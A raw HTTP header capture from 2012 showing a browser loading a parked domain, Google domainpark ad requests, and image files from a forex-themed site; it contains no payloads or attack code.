Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: text/javascript; charset=UTF-8
Last-Modified: Wed, 31 Oct 2012 23:10:23 GMT
Date: Wed, 07 Nov 2012 20:35:13 GMT
Expires: Thu, 08 Nov 2012 20:35:13 GMT
X-Content-Type-Options: nosniff
Content-Disposition: attachment
Server: domainserver
X-XSS-Protection: 1; mode=block
Content-Encoding: gzip
Cache-Control: public, max-age=86400
Content-Length: 1932
Age: 4832
GET /js/jquery.tools.custom.min.js HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: application/x-javascript
Server: nginx/0.8.54
Date: Wed, 07 Nov 2012 21:53:11 GMT
Content-Length: 9659
Last-Modified: Fri, 02 Dec 2011 01:21:23 GMT
Connection: close
Accept-Ranges: bytes
GET /apps/domainpark/domainpark.cgi?api=2&callback=_google_json_callback&output=js&adtest=off&client=dp-nameadmin22_3ph_js&channel=000106&hl=en&num_ads=0&num_radlinks=10&optimize_terms=on&categories=off&feed=afs&domain_name=www.statisticanom91.com&dt=1352325345541&u_tz=60&u_his=2&u_h=885&u_w=1176&frm=1&ref=http%3A%2F%2Fwww.statisticanom91.com%2F HTTP/1.1

Host: googleads.g.doubleclick.net
GET /apps/domainpark/domainpark.cgi?api=2&amp;callback=_google_json_callback&amp;output=js&amp;adtest=off&amp;client=dp-nameadmin22_3ph_js&amp;channel=000106&amp;hl=en&amp;num_ads=0&amp;num_radlinks=10&amp;optimize_terms=on&amp;categories=off&amp;feed=afs&amp;domain_name=www.statisticanom91.com&amp;dt=1352325345541&amp;u_tz=60&amp;u_his=2&amp;u_h=885&amp;u_w=1176&amp;frm=1&amp;ref=http%3A%2F%2Fwww.statisticanom91.com%2F HTTP/1.1

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
Cookie: id=223ae1776901005b||t=1350343758|et=730|cs=002213fd480aa30e9cef2f5d42
HTTP/1.1 200 OK

Content-Type: application/javascript; charset=UTF-8
Content-Disposition: inline
P3P: policyref=&quot;http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml&quot;, CP=&quot;CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR&quot;
X-Content-Type-Options: nosniff
Content-Encoding: gzip
Date: Wed, 07 Nov 2012 21:55:45 GMT
Server: domainserver
Cache-Control: private
Content-Length: 65
X-XSS-Protection: 1; mode=block
POST /logpstatus.php HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
Content-Length: 57
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
Pragma: no-cache
Cache-Control: no-cache
HTTP/1.1 200 OK

Content-Type: text/html
Date: Wed, 07 Nov 2012 21:55:45 GMT
Server: Apache/2.2.20 (Ubuntu)
X-Powered-By: PHP/5.3.6-13ubuntu3.9
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 20
Connection: close
GET /images/rs_center_right_70.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: image/gif
Server: nginx/0.8.54
Date: Wed, 07 Nov 2012 21:53:12 GMT
Content-Length: 7448
Last-Modified: Thu, 05 Jan 2012 01:17:06 GMT
Connection: close
Accept-Ranges: bytes
GET /images/rs_center_left_70.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: image/gif
Server: nginx/0.8.54
Date: Wed, 07 Nov 2012 21:53:12 GMT
Content-Length: 7602
Last-Modified: Thu, 05 Jan 2012 01:16:56 GMT
Connection: close
Accept-Ranges: bytes
GET /images/star_24.gif HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: image/gif
Server: nginx/0.8.54
Date: Wed, 07 Nov 2012 21:53:12 GMT
Content-Length: 1312
Last-Modified: Fri, 06 Jan 2012 17:17:39 GMT
Connection: close
Accept-Ranges: bytes
GET /landerbanners/st/statisticanom91.com.jpg HTTP/1.1

Host: 208.87.32.71

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.statisticanom91.com/search.php?uid=www509ad8e057c171.69789927
HTTP/1.1 200 OK

Content-Type: image/jpeg
Server: nginx/0.8.54
Date: Wed, 07 Nov 2012 21:53:12 GMT
Content-Length: 17987
Last-Modified: Thu, 08 Dec 2011 00:43:54 GMT
Connection: close
Accept-Ranges: bytes
GET /favicon.ico HTTP/1.1

Host: www.statisticanom91.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: uid=www509ad8e057c171.69789927; WEBUK=WUK09
HTTP/1.1 200 OK

Content-Type: image/x-icon
Date: Wed, 07 Nov 2012 21:55:46 GMT
Server: Apache/2.2.20 (Ubuntu)
Last-Modified: Fri, 17 Aug 2012 19:42:54 GMT
Etag: &quot;1700c62-0-4c77b5db6ab80&quot;
Accept-Ranges: bytes
Content-Length: 0
Connection: close
GET /favicon.ico HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
HTTP/1.1 200 OK

Content-Type: image/x-icon
Date: Wed, 07 Nov 2012 21:55:47 GMT
Server: Apache
Last-Modified: Sat, 14 Apr 2012 09:51:44 GMT
Accept-Ranges: bytes
Content-Length: 0
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /images/forexmega.bmp HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/bmp
Date: Wed, 07 Nov 2012 21:55:43 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:38 GMT
Accept-Ranges: bytes
Content-Length: 78642
Keep-Alive: timeout=5, max=74
Connection: Keep-Alive
GET /images/forexmaestro.bmp HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/bmp
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 15:51:38 GMT
Accept-Ranges: bytes
Content-Length: 71114
Keep-Alive: timeout=5, max=73
Connection: Keep-Alive
GET /images/product1-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /guitar-product-box-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /images/weight-loss-product-box-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /images/guitar-product-box-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /images/guitar-optinbox-bg.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html
HTTP/1.1 200 OK

Content-Type: image/gif
Date: Wed, 07 Nov 2012 21:55:44 GMT
Server: Apache
Last-Modified: Sun, 03 Jan 2010 21:40:09 GMT
Accept-Ranges: bytes
Content-Length: 3350
Keep-Alive: timeout=5, max=75
Connection: Keep-Alive
GET /images/optinbox-button.jpg HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /images/guitar-menu-bar.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/index.html


GET /images/footer.gif HTTP/1.1

Host: investir-fx.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://investir-fx.com/styles.css